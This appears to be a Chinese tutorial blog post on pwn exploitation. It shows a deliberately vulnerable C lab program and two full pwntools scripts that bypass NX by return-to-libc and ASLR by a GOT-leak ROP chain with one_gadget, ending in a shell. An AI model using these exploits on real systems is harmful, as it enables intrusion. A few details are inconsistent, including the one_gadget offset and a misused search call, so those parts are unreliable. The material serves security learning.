栈溢出学习(五)之NX,ASLR绕过方法

前言

栈溢出学习(五)之NX,ASLR绕过方法,讲述NX,ASLR保护机制及其绕过方法

  • 系列文章
    栈溢出学习(一)之利用预留后门 & return2shellcode
    栈溢出学习(二)之 jmp esp & return2libc
    栈溢出学习(三)之简单ROP
    栈溢出学习(四)之Hijack GOT
  • 本文属于新手实验难度,过程比较详细,适合新手学习

样例代码

本文使用的代码如下

#include 
#include 
#include 

/*
 * compiled with:
 *  gcc    -O0     -fno-stack-protector    -no-pie     -z execstack      -m32   -g  -o lab0 lab0.c
          优化等级      关闭canary         关闭地址随机化   关闭NX      生成32位程序

 */

void shell()//backdoor
{
        printf("You got it\n");
        system("/bin/sh");
}


void hello(char* name)
{
  char buf[20];
  strcpy(buf,name);
  puts("hello!!!");
  printf("i am  %s ",buf);
}

void main(int argc,char** argv)
{
  setbuf(stdin,NULL);
  setbuf(stdout,NULL);
  char buf[100];
  puts("*****************************************");
  puts("PWN,hello world!");
  gets(buf);
  hello(buf);

}

0x07 NX绕过方法

一、NX保护机制

NX即"NO X",堆栈不可执行保护。开启NX后,程序的栈空间没有执行权限,通过这个保护,可以阻止return2shellcode攻击,但是return2libc,ROP,Hijack GOT等攻击方法依然有效,即:

  • 阻止:return2shellcode
  • 绕过:除了return2shellcode均可

二、绕过

在这里我们使用简单一些的return2libc来绕过

程序编译选项为

gcc  -O0  -fno-stack-protector  -no-pie  -m32  -g  -o nxlab lab0.c

可以看到已开启NX
栈溢出学习(五)之NX,ASLR绕过方法_第1张图片
exp如下,原理参考 栈溢出学习(二)之 jmp esp & return2libc 即可

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2020-03-27 22:32:52
# @Author  : Pz_mstr
# @Version : python3
# @use     : exp for nx protect
from pwn import *
import sys

def trans(s):
	return "b'%s'" % ''.join('\\x%.2x' % x for x in s)

debug = True
binary = './nxlab'
libc_name = '/home/Pz_mstr/libc/libc2.23x86'

bin = ELF(binary)
libc = ELF(libc_name)

if len(sys.argv) > 1:
	# ip port
	io = remote(sys.argv[1],int(sys.argv[2]))
else:
	#io = process([binary],env={'LD_PRELOAD':libc_name})
	io = process(binary)

if debug:
	context.log_level = 'debug'

io.recvuntil('world!')

padding = b'a'*32
system_addr = bin.sym["system"]
bin_sh_addr = next(libc_name.search('/bin/sh\x00'))


payload = padding
payload += p32(system_addr)	
payload += p32(0xdeadbeef)	
payload += p32(bin_sh_addr)

io.sendline(payload)
io.interactive()


成功截图如下
栈溢出学习(五)之NX,ASLR绕过方法_第2张图片

0x08 ASLR绕过方法

一、ASLR保护机制

ASLR,即地址随机化。启用该机制后,堆,栈、共享库映射等线性区布局会被随机化,每次执行程序,这些区域的地址都与上次不同,增加了攻击者预测目的地址的难度。但是。他的问题在于,ASLR并不对所有模块和内存区进行随机化,比如GOT表的地址是不变的,那么我们可以分析出来他能够阻止的攻击方法和绕过方式

  • 阻止:return2shellcodereturn2libc
  • 绕过:利用GOT表泄露函数真实加载地址,根据libc的偏移算出我们需要的目标函数所在的真实地址,最终利用真实的地址实现return2libc

总的来说,绕过方法是hijack got结合return2libc完成。我们可以通过ropchain来完成这一系列攻击

二、绕过

编译选项如下,同样的把NX保护也开启

gcc -O0  -fno-stack-protector  -no-pie  -m32   -g  -o ASLRlab lab0.c
在管理员权限下,执行
echo 2 >/proc/sys/kernel/randomize_va_space

可以看到,ASLR和NX保护均已开启
栈溢出学习(五)之NX,ASLR绕过方法_第3张图片
栈溢出学习(五)之NX,ASLR绕过方法_第4张图片
绕过思路:
首先考虑绕过条件:

  • 泄露出某个函数的真实地址,因此需要一个打印/输出函数

就这一个条件,显然我们需要的输出函数就是puts,那么我们的栈空间可以这样布局

  1. 绿色部分完成对printf函数真实地址的泄露
  2. 黄色部分完成对printf函数真实地址的改写,改为system地址
  3. 橙色部分调用system("/bin/sh")
    栈溢出学习(五)之NX,ASLR绕过方法_第5张图片

不过细心的读者会发现,其实上面的栈空间布局是错的,因为开启了ASLR,你没办法提前获取到/bin/sh的地址,需要通过计算偏移求出,因此我们考虑使用one_gadget一把梭。

one_gadget的效果大概就是在libc中找到可以直接调用,能够产生system("/bin/sh")效果的一个gadget,因此只要把对printf函数真实地址的改写,改为one_gadget地址即可。

因此最终的栈空间布局为:
栈溢出学习(五)之NX,ASLR绕过方法_第6张图片

exp简单介绍

  1. 找一个ropgadget

pop_ret = 0x80483b9
栈溢出学习(五)之NX,ASLR绕过方法_第7张图片
3. 找一个one_gadget,可以一个一个试,这次选用的是0x5fbc5

栈溢出学习(五)之NX,ASLR绕过方法_第8张图片
4. 找libc中__libc_start_main的地址,为0x00018540

这里解释一下为什么找的是__libc_start_main,见下图是got表的布局。当我们使用puts(printf@got)打印printf@got的地址时,puts函数会一直输出直到遇到’\0x0a’,因此会把printf__libc_start_main的地址打印出来。

而我们exp(见下方)中接受泄露地址的代码是这样写的:

io.recvuntil('\n')
libc_addr = u32(io.recvuntil('\n')[-5:-1])

因此接收到的就是__libc_start_main@got,所以需要找libc中__libc_start_main的地址
栈溢出学习(五)之NX,ASLR绕过方法_第9张图片

最终exp如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2020-03-27 22:32:52
# @Author  : Pz_mstr
# @Version : python3
# @use     : exp for ASLR protect
from pwn import *
import sys

def trans(s):
	return "b'%s'" % ''.join('\\x%.2x' % x for x in s)

debug = True
binary = './ASLRlab'
#libc_name = '/home/Pz_mstr/libc/libc2.23x86'

bin = ELF(binary)
#libc = ELF(libc_name)

if len(sys.argv) > 1:
	# ip port
	io = remote(sys.argv[1],int(sys.argv[2]))
else:
	#io = process([binary],env={'LD_PRELOAD':libc_name})
	io = process(binary)

if debug:
	context.log_level = 'debug'

#gdb.attach(io)
#input()
io.recvuntil('world!\n')

padding = b'a'*32
puts_plt = bin.plt['puts']
gets_plt = bin.plt['gets']
printf_plt = bin.plt['printf']
printf_got = bin.got['printf']
pop_ret = 0x80483b9
one = 0x5f065

rop = padding
rop += p32(puts_plt) + p32(pop_ret) + p32(printf_got)
rop += p32(gets_plt) + p32(pop_ret) + p32(printf_got)
rop += p32(printf_plt)

io.sendline(rop)

io.recvuntil('\n')
libc_addr = u32(io.recvuntil('\n')[-5:-1])
print(libc_addr)
libc_base =  libc_addr - 0x00018540

io.sendline(p32(libc_base+one))
io.interactive()



总结

展示了两种分别绕过NX和ASLR的方法

  • return2libc绕过NX
  • ROPchain结合Hijack GOT绕过ASLR

你可能感兴趣的:(【pwn】)